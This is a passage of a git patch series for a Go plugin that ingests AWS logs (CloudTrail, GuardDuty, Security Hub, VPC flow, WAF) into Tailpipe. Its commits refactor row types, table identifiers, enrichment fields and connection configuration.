row.InstanceType = finding.Resource.InstanceDetails.InstanceType row.OutpostArn = finding.Resource.InstanceDetails.OutpostArn - row.LaunchTime = finding.Resource.InstanceDetails.LaunchTime + if finding.Resource.InstanceDetails.LaunchTime != nil { + var launchTime time.Time + launchTime, err = time.Parse(time.RFC3339, *finding.Resource.InstanceDetails.LaunchTime) + if err != nil { + return nil, fmt.Errorf("error parsing LaunchTime: %w", err) + } + row.LaunchTime = &launchTime + } // Network details if len(finding.Resource.InstanceDetails.NetworkInterfaces) > 0 { ni := finding.Resource.InstanceDetails.NetworkInterfaces[0] diff --git a/rows/elb_access_log_test.go b/rows/elb_access_log_test.go index cb305593..5f2b650d 100644 --- a/rows/elb_access_log_test.go +++ b/rows/elb_access_log_test.go @@ -93,7 +93,7 @@ func TestAwsElbAccessLog_InitialiseFromMap(t *testing.T) { TargetStatusList: utils.ToStringPointer("list"), Classification: utils.ToStringPointer("x"), ClassificationReason: utils.ToStringPointer("reason"), - ConnTraceID: "abcd", + ConnTraceID: utils.ToStringPointer("abcd"), }, wantErr: assert.NoError, }, diff --git a/rows/guardduty_finding.go b/rows/guardduty_finding.go index b318c604..0761c506 100644 --- a/rows/guardduty_finding.go +++ b/rows/guardduty_finding.go @@ -13,56 +13,56 @@ type GuardDutyBatch struct { type GuardDutyFinding struct { enrichment.CommonFields - AccountId *string `json:"account_id"` - Arn *string `json:"arn"` - CreatedAt time.Time `json:"created_at"` - Description *string `json:"description"` - Id *string `json:"id"` - Partition *string `json:"partition"` - Region *string `json:"region"` - AccessKeyId *string `json:"access_key_id"` - PrincipalId *string `json:"principal_id"` - UserName *string `json:"user_name"` - UserType *string `json:"user_type"` - AvailabilityZone *string `json:"availability_zone"` - InstanceArn *string `json:"instance_arn"` - ImageDescription *string `json:"image_description"` - ImageId *string `json:"image_id"` - InstanceId *string `json:"instance_id"` - InstanceState *string `json:"instance_state"` - InstanceType *string `json:"instance_type"` - OutpostArn *string `json:"outpost_arn"` - LaunchTime *string `json:"launch_time"` - Ipv6Addresses []string `json:"ipv6_addresses"` - NetworkInterfaceId string `json:"network_interface_id"` - PrivateDnsName string `json:"private_dns_name"` - PrivateIpAddress string `json:"private_ip_address"` - PublicDnsName string `json:"public_dns_name"` - PublicIp string `json:"public_ip"` - GroupId string `json:"group_id"` - GroupName string `json:"group_name"` - SubnetId string `json:"subnet_id"` - VpcId string `json:"vpc_id"` - Platform *string `json:"platform,omitempty"` - Code string `json:"code"` - ProductType string `json:"product_type"` - ResourceType *string `json:"resource_type"` - SchemaVersion *string `json:"schema_version"` - ActionType *string `json:"action_type"` - Api *string `json:"api"` - CallerType *string `json:"caller_type"` - ErrorCode *string `json:"error_code"` - IpAddressV4 *string `json:"ip_address_v4"` - IpAddressV6 *string `json:"ip_address_v6,omitempty"` - Archived *bool `json:"archived"` - Count *int32 `json:"count"` - DetectorId *string `json:"detector_id"` - EventFirstSeen *string `json:"event_first_seen"` - EventLastSeen *string `json:"event_last_seen"` - ResourceRole *string `json:"resource_role"` - ServiceName *string `json:"service_name"` - Severity *float64 `json:"severity"` - Title *string `json:"title"` - Type *string `json:"type"` - UpdatedAt *string `json:"updated_at"` + AccountId *string `json:"account_id"` + Arn *string `json:"arn"` + CreatedAt time.Time `json:"created_at"` + Description *string `json:"description"` + Id *string `json:"id"` + Partition *string `json:"partition"` + Region *string `json:"region"` + AccessKeyId *string `json:"access_key_id"` + PrincipalId *string `json:"principal_id"` + UserName *string `json:"user_name"` + UserType *string `json:"user_type"` + AvailabilityZone *string `json:"availability_zone"` + InstanceArn *string `json:"instance_arn"` + ImageDescription *string `json:"image_description"` + ImageId *string `json:"image_id"` + InstanceId *string `json:"instance_id"` + InstanceState *string `json:"instance_state"` + InstanceType *string `json:"instance_type"` + OutpostArn *string `json:"outpost_arn"` + LaunchTime *time.Time `json:"launch_time"` + Ipv6Addresses []string `json:"ipv6_addresses"` + NetworkInterfaceId string `json:"network_interface_id"` + PrivateDnsName string `json:"private_dns_name"` + PrivateIpAddress string `json:"private_ip_address"` + PublicDnsName string `json:"public_dns_name"` + PublicIp string `json:"public_ip"` + GroupId string `json:"group_id"` + GroupName string `json:"group_name"` + SubnetId string `json:"subnet_id"` + VpcId string `json:"vpc_id"` + Platform *string `json:"platform,omitempty"` + Code string `json:"code"` + ProductType string `json:"product_type"` + ResourceType *string `json:"resource_type"` + SchemaVersion *string `json:"schema_version"` + ActionType *string `json:"action_type"` + Api *string `json:"api"` + CallerType *string `json:"caller_type"` + ErrorCode *string `json:"error_code"` + IpAddressV4 *string `json:"ip_address_v4"` + IpAddressV6 *string `json:"ip_address_v6,omitempty"` + Archived *bool `json:"archived"` + Count *int32 `json:"count"` + DetectorId *string `json:"detector_id"` + EventFirstSeen *string `json:"event_first_seen"` + EventLastSeen *string `json:"event_last_seen"` + ResourceRole *string `json:"resource_role"` + ServiceName *string `json:"service_name"` + Severity *float64 `json:"severity"` + Title *string `json:"title"` + Type *string `json:"type"` + UpdatedAt *time.Time `json:"updated_at"` } From a7573f453c1b0b77aaa21ec824a77bc4a872e546 Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 19 Nov 2024 13:11:25 +0000 Subject: [PATCH 091/180] fix: reverted accidental renaming of aws_securityhub_finding_log table --- tables/securityhub_finding_log_table.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index b2043b34..2dadad50 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -13,7 +13,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/table" ) -const SecurityHubFindingLogTableIdentifier = "aws_security_hub_finding_log" +const SecurityHubFindingLogTableIdentifier = "aws_securityhub_finding_log" // register the table from the package init function func init() { From 2a271435cb74fd8cc4461d9532a184117225b40d Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 19 Nov 2024 13:39:44 +0000 Subject: [PATCH 092/180] fix(sechub): added missing mandatory TpFields --- tables/securityhub_finding_log_table.go | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index 2dadad50..5873718d 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -1,6 +1,10 @@ package tables import ( + "time" + + "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" @@ -40,7 +44,6 @@ func (c *SecurityHubFindingLogTable) SupportedSources() []*table.SourceMetadata[ MapperFunc: mappers.NewSecurityHubFindingsMapper, Options: []row_source.RowSourceOption{ artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), - artifact_source.WithRowPerLine(), }, }, } @@ -51,6 +54,9 @@ func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, row.CommonFields = *sourceEnrichmentFields } + row.TpID = xid.New().String() + row.TpIngestTimestamp = time.Now() + for _, resource := range row.Resources { newAkas := awsAkasFromArn(*resource) row.TpAkas = append(row.TpAkas, newAkas...) @@ -58,6 +64,7 @@ func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, if row.Time != nil { row.TpTimestamp = *row.Time + row.TpDate = row.Time.Truncate(24 * time.Hour) } if row.Account != nil { row.TpIndex = *row.Account From 3c9bc5eda0a62059261a9d83e781b4a915862775 Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 19 Nov 2024 14:26:16 +0000 Subject: [PATCH 093/180] fix: removed unrequired source type setting in cloudtrail enricher --- tables/cloudtrail_log_table.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 5a0d49ac..5b312b74 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -59,7 +59,6 @@ func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichment // Record standardization row.TpID = xid.New().String() - row.TpSourceType = "aws_cloudtrail_log" row.TpTimestamp = *row.EventTime row.TpIngestTimestamp = time.Now() @@ -85,7 +84,6 @@ func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichment } // Hive fields - row.TpPartition = "default" // TODO - should be based on the definition in HCL row.TpIndex = row.RecipientAccountId // convert to date in format yy-mm-dd row.TpDate = row.EventTime.Truncate(24 * time.Hour) From c29173ecabe77b150d8c719cf735f2462189207e Mon Sep 17 00:00:00 2001 From: Graza Date: Tue, 19 Nov 2024 17:01:12 +0000 Subject: [PATCH 094/180] chore: removed unrequired tppartion setting in vpc flow log table --- tables/vpc_flow_log_table.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 0a20116d..e56ecd95 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -71,8 +71,6 @@ func (c *VpcFlowLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields row.TpIngestTimestamp = time.Now() // Hive fields - // TODO - should be based on the definition in HCL - row.TpPartition = "default" if row.AccountID != nil { row.TpIndex = *row.AccountID } From 01a31bd906b1cf1ba24fff0c08e859ffca584168 Mon Sep 17 00:00:00 2001 From: Graza Date: Fri, 22 Nov 2024 16:37:04 +0000 Subject: [PATCH 095/180] feat: aws connections (#27) --------- Co-authored-by: kai --- aws/plugin.go | 2 +- config/aws_connection.go | 37 +++++++++-------- go.mod | 1 + go.sum | 2 + rows/waf_traffic_log.go | 41 +++++++++---------- tables/alb_access_log_table.go | 4 +- tables/alb_access_log_table_config.go | 34 ++++++++------- tables/cloudtrail_log_table.go | 8 ++-- tables/cloudtrail_log_table_config.go | 4 ++ tables/cost_usage_log_table.go | 7 ++-- tables/cost_usage_log_table_config.go | 4 ++ tables/elb_access_log_table.go | 4 +- tables/elb_access_log_table_config.go | 4 ++ tables/guardduty_finding_table.go | 4 +- tables/guardduty_finding_table_config.go | 6 ++- tables/lambda_log_table.go | 4 +- tables/lambda_log_table_config.go | 4 ++ tables/s3_server_access_log_table.go | 4 +- tables/s3_server_access_log_table_config.go | 4 ++ tables/securityhub_finding_log_table.go | 4 +- .../securityhub_finding_log_table_config.go | 4 ++ tables/vpc_flow_log_table.go | 4 +- tables/vpc_flow_log_table_config.go | 6 ++- tables/waf_traffic_log_table.go | 4 +- tables/waf_traffic_log_table_config.go | 6 ++- 25 files changed, 119 insertions(+), 87 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 9766741e..4298a5ee 100755 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -20,7 +20,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { }() p := &Plugin{ - PluginImpl: plugin.NewPluginImpl[*config.AwsConnection]("aws"), + PluginImpl: plugin.NewPluginImpl(config.PluginName), } return p, nil diff --git a/config/aws_connection.go b/config/aws_connection.go index 6e7fe20d..d1f44345 100644 --- a/config/aws_connection.go +++ b/config/aws_connection.go @@ -1,19 +1,24 @@ package config -type AwsConnection struct { - Regions []string `hcl:"regions,optional"` - DefaultRegion *string `hcl:"default_region"` - Profile *string `hcl:"profile"` - AccessKey *string `hcl:"access_key"` - SecretKey *string `hcl:"secret_key"` - SessionToken *string `hcl:"session_token"` - MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` - MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` - IgnoreErrorCodes []string `hcl:"ignore_error_codes,optional"` - EndpointUrl *string `hcl:"endpoint_url"` - S3ForcePathStyle *bool `hcl:"s3_force_path_style"` -} +const PluginName = "aws" -func (c *AwsConnection) Validate() error { - return nil -} +// TODO TEMP +// this has been moved to the sdk for now until we move the sources back to the plugin +// +//type AwsConnection struct { +// Regions []string `hcl:"regions,optional"` +// DefaultRegion *string `hcl:"default_region"` +// Profile *string `hcl:"profile"` +// AccessKey *string `hcl:"access_key"` +// SecretKey *string `hcl:"secret_key"` +// SessionToken *string `hcl:"session_token"` +// MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` +// MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` +// IgnoreErrorCodes []string `hcl:"ignore_error_codes,optional"` +// EndpointUrl *string `hcl:"endpoint_url"` +// S3ForcePathStyle *bool `hcl:"s3_force_path_style"` +//} +// +//func (c *AwsConnection) Validate() error { +// return nil +//} diff --git a/go.mod b/go.mod index 57033c3d..df10c270 100644 --- a/go.mod +++ b/go.mod @@ -120,6 +120,7 @@ require ( github.com/pjbgf/sha1cd v0.3.0 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/rivo/uniseg v0.2.0 // indirect + github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/satyrius/gonx v1.4.0 // indirect diff --git a/go.sum b/go.sum index 337f78b6..ba0571a9 100644 --- a/go.sum +++ b/go.sum @@ -594,6 +594,8 @@ github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6L github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= +github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 h1:18kd+8ZUlt/ARXhljq+14TwAoKa61q6dX8jtwOf6DH8= +github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529/go.mod h1:qe5TWALJ8/a1Lqznoc5BDHpYX/8HU60Hm2AwRmqzxqA= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go index 290d4928..7fb86f1b 100644 --- a/rows/waf_traffic_log.go +++ b/rows/waf_traffic_log.go @@ -4,7 +4,6 @@ import ( "time" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/types" ) // Define a nested struct for httpRequest headers @@ -15,30 +14,30 @@ type Header struct { // Define a nested struct for the httpRequest field type HttpRequest struct { - ClientIp *string `json:"client_ip,omitempty"` - Country *string `json:"country,omitempty"` - Headers *types.JSONString `json:"headers,omitempty"` - Uri *string `json:"uri,omitempty"` - Args *string `json:"args,omitempty"` - HttpVersion *string `json:"http_version,omitempty"` - HttpMethod *string `json:"http_method,omitempty"` - RequestId *string `json:"request_id,omitempty"` + ClientIp *string `json:"client_ip,omitempty"` + Country *string `json:"country,omitempty"` + Headers *[]Header `json:"headers,omitempty"` + Uri *string `json:"uri,omitempty"` + Args *string `json:"args,omitempty"` + HttpVersion *string `json:"http_version,omitempty"` + HttpMethod *string `json:"http_method,omitempty"` + RequestId *string `json:"request_id,omitempty"` } // WafTrafficLog struct with fields aligned to the provided JSON type WafTrafficLog struct { enrichment.CommonFields - Timestamp *time.Time `json:"timestamp,omitempty"` - FormatVersion *int32 `json:"format_version,omitempty"` - WebAclId *string `json:"web_acl_id,omitempty"` - TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` - TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` - Action *string `json:"action,omitempty"` - HttpSourceName *string `json:"http_source_name,omitempty"` - HttpSourceId *string `json:"http_source_id,omitempty"` - RuleGroupList []string `json:"rule_group_list,omitempty"` - RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` - NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` - HttpRequest *types.JSONString `json:"http_request,omitempty"` + Timestamp *time.Time `json:"timestamp,omitempty"` + FormatVersion *int32 `json:"format_version,omitempty"` + WebAclId *string `json:"web_acl_id,omitempty"` + TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` + TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` + Action *string `json:"action,omitempty"` + HttpSourceName *string `json:"http_source_name,omitempty"` + HttpSourceId *string `json:"http_source_id,omitempty"` + RuleGroupList []string `json:"rule_group_list,omitempty"` + RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` + NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` + HttpRequest *HttpRequest `json:"http_request,omitempty" parquet:"type=JSON"` } diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index ed7e8fde..d6f94c93 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -4,8 +4,6 @@ import ( "time" "github.com/rs/xid" - - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -24,7 +22,7 @@ func init() { } type AlbAccessLogTable struct { - table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *artifact_source.AwsConnection] } func (c *AlbAccessLogTable) initMapper() func() table.Mapper[*rows.AlbAccessLog] { diff --git a/tables/alb_access_log_table_config.go b/tables/alb_access_log_table_config.go index 5e47d05d..7a745918 100644 --- a/tables/alb_access_log_table_config.go +++ b/tables/alb_access_log_table_config.go @@ -1,25 +1,29 @@ package tables import ( - "github.com/hashicorp/hcl/v2" + "github.com/hashicorp/hcl/v2" ) type AlbAccessLogTableConfig struct { - // Required to allow partial decoding - Remain hcl.Body `hcl:",remain" json:"-"` + // Required to allow partial decoding + Remain hcl.Body `hcl:",remain" json:"-"` - // Optional: Custom log format if not using default - LogFormat *string `json:"log_format,omitempty" hcl:"log_format,optional"` - - // Optional: File pattern for S3 bucket source - FilePattern *string `json:"file_pattern,omitempty" hcl:"file_pattern,optional"` - - // Optional: Timezone for parsing timestamps - Timezone *string `json:"timezone,omitempty" hcl:"timezone,optional"` + // Optional: Custom log format if not using default + LogFormat *string `json:"log_format,omitempty" hcl:"log_format,optional"` + + // Optional: File pattern for S3 bucket source + FilePattern *string `json:"file_pattern,omitempty" hcl:"file_pattern,optional"` + + // Optional: Timezone for parsing timestamps + Timezone *string `json:"timezone,omitempty" hcl:"timezone,optional"` +} + +func (c *AlbAccessLogTableConfig) Identifier() string { + return AlbAccessLogTableIdentifier } func (c *AlbAccessLogTableConfig) Validate() error { - // By default, use built-in ALB log format - // Add any additional validation as needed - return nil -} \ No newline at end of file + // By default, use built-in ALB log format + // Add any additional validation as needed + return nil +} diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 5b312b74..678cba80 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -5,9 +5,7 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -18,6 +16,8 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/table" ) +const CloudTrailLogTableIdentifier = "aws_cloudtrail_log" + // register the table from the package init function func init() { table.RegisterTable[*rows.CloudTrailLog, *CloudTrailLogTable]() @@ -26,7 +26,7 @@ func init() { // CloudTrailLogTable - table for CloudTrailLog logs type CloudTrailLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[*rows.CloudTrailLog, *CloudTrailLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.CloudTrailLog, *CloudTrailLogTableConfig, *artifact_source.AwsConnection] } func (t *CloudTrailLogTable) SupportedSources() []*table.SourceMetadata[*rows.CloudTrailLog] { @@ -47,7 +47,7 @@ func (t *CloudTrailLogTable) SupportedSources() []*table.SourceMetadata[*rows.Cl // Identifier implements table.Table func (t *CloudTrailLogTable) Identifier() string { - return "aws_cloudtrail_log" + return CloudTrailLogTableIdentifier } // EnrichRow implements table.Table diff --git a/tables/cloudtrail_log_table_config.go b/tables/cloudtrail_log_table_config.go index 5f5db316..54c1a6dc 100644 --- a/tables/cloudtrail_log_table_config.go +++ b/tables/cloudtrail_log_table_config.go @@ -2,6 +2,10 @@ package tables type CloudTrailLogTableConfig struct{} +func (c *CloudTrailLogTableConfig) Identifier() string { + return CloudTrailLogTableIdentifier +} + func (c *CloudTrailLogTableConfig) Validate() error { return nil } diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index c6b3c242..3d0d33dd 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -7,7 +7,6 @@ import ( typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -18,6 +17,8 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/table" ) +const CostUsageLogTableIdentifier = "aws_cost_usage_log" + // register the table from the package init function func init() { table.RegisterTable[*rows.CostAndUsageLog, *CostAndUsageLogTable]() @@ -26,12 +27,12 @@ func init() { // CostAndUsageLogTable - table for CostAndUsageLogs type CostAndUsageLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[*rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *artifact_source.AwsConnection] } // Identifier implements table.Table func (t *CostAndUsageLogTable) Identifier() string { - return "aws_cost_usage_log" + return CostUsageLogTableIdentifier } func (t *CostAndUsageLogTable) SupportedSources() []*table.SourceMetadata[*rows.CostAndUsageLog] { diff --git a/tables/cost_usage_log_table_config.go b/tables/cost_usage_log_table_config.go index 31fdc549..18048d99 100644 --- a/tables/cost_usage_log_table_config.go +++ b/tables/cost_usage_log_table_config.go @@ -5,3 +5,7 @@ type CostAndUsageLogTableConfig struct{} func (c *CostAndUsageLogTableConfig) Validate() error { return nil } + +func (*CostAndUsageLogTableConfig) Identifier() string { + return CostUsageLogTableIdentifier +} diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 32195af9..66185c19 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -4,8 +4,6 @@ import ( "time" "github.com/rs/xid" - - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -25,7 +23,7 @@ const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_ const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` type ElbAccessLogTable struct { - table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *artifact_source.AwsConnection] } func (c *ElbAccessLogTable) initMapper() func() table.Mapper[*rows.ElbAccessLog] { diff --git a/tables/elb_access_log_table_config.go b/tables/elb_access_log_table_config.go index 33937e56..526d55c5 100644 --- a/tables/elb_access_log_table_config.go +++ b/tables/elb_access_log_table_config.go @@ -7,3 +7,7 @@ func (a ElbAccessLogTableConfig) Validate() error { // TODO: #config validate the config return nil } + +func (ElbAccessLogTableConfig) Identifier() string { + return ElbAccessLogTableIdentifier +} diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index 5944cf18..f70a547a 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -4,9 +4,7 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -26,7 +24,7 @@ func init() { // GuardDutyFindingTable - table for GuardDuty Findings type GuardDutyFindingTable struct { - table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] + table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *artifact_source.AwsConnection] } func (c *GuardDutyFindingTable) Identifier() string { diff --git a/tables/guardduty_finding_table_config.go b/tables/guardduty_finding_table_config.go index fa7f0702..8d1b3699 100644 --- a/tables/guardduty_finding_table_config.go +++ b/tables/guardduty_finding_table_config.go @@ -2,6 +2,10 @@ package tables type GuardDutyFindingTableConfig struct{} -func (c *GuardDutyFindingTableConfig) Validate() error { +func (c GuardDutyFindingTableConfig) Validate() error { return nil } + +func (GuardDutyFindingTableConfig) Identifier() string { + return GuardDutyFindingTableIdentifier +} diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index 32d82f04..e4133266 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -4,8 +4,6 @@ import ( "time" "github.com/rs/xid" - - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -23,7 +21,7 @@ func init() { type LambdaLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[*rows.LambdaLog, *LambdaLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.LambdaLog, *LambdaLogTableConfig, *artifact_source.AwsConnection] } func (c *LambdaLogTable) Identifier() string { diff --git a/tables/lambda_log_table_config.go b/tables/lambda_log_table_config.go index 76ac7b2c..774d7534 100644 --- a/tables/lambda_log_table_config.go +++ b/tables/lambda_log_table_config.go @@ -7,3 +7,7 @@ func (a LambdaLogTableConfig) Validate() error { // TODO: #config validate the config return nil } + +func (LambdaLogTableConfig) Identifier() string { + return LambdaLogTableIdentifier +} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 66b41502..cb33fb44 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -4,8 +4,6 @@ import ( "time" "github.com/rs/xid" - - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -24,7 +22,7 @@ func init() { } type S3ServerAccessLogTable struct { - table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *artifact_source.AwsConnection] } func (c *S3ServerAccessLogTable) Identifier() string { diff --git a/tables/s3_server_access_log_table_config.go b/tables/s3_server_access_log_table_config.go index 5b467076..2104fd78 100644 --- a/tables/s3_server_access_log_table_config.go +++ b/tables/s3_server_access_log_table_config.go @@ -7,3 +7,7 @@ func (a S3ServerAccessLogTableConfig) Validate() error { // TODO: #config validate the config return nil } + +func (S3ServerAccessLogTableConfig) Identifier() string { + return S3ServerAccessLogTableIdentifier +} diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index 5873718d..3461eb6d 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -4,9 +4,7 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" @@ -26,7 +24,7 @@ func init() { type SecurityHubFindingLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *artifact_source.AwsConnection] } func (c *SecurityHubFindingLogTable) Identifier() string { diff --git a/tables/securityhub_finding_log_table_config.go b/tables/securityhub_finding_log_table_config.go index a9b0fa43..ae9eda74 100644 --- a/tables/securityhub_finding_log_table_config.go +++ b/tables/securityhub_finding_log_table_config.go @@ -7,3 +7,7 @@ func (a SecurityHubFindingLogTableConfig) Validate() error { // TODO: #config validate the config return nil } + +func (SecurityHubFindingLogTableConfig) Identifier() string { + return SecurityHubFindingLogTableIdentifier +} diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index e56ecd95..177ef658 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -4,8 +4,6 @@ import ( "time" "github.com/rs/xid" - - "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" 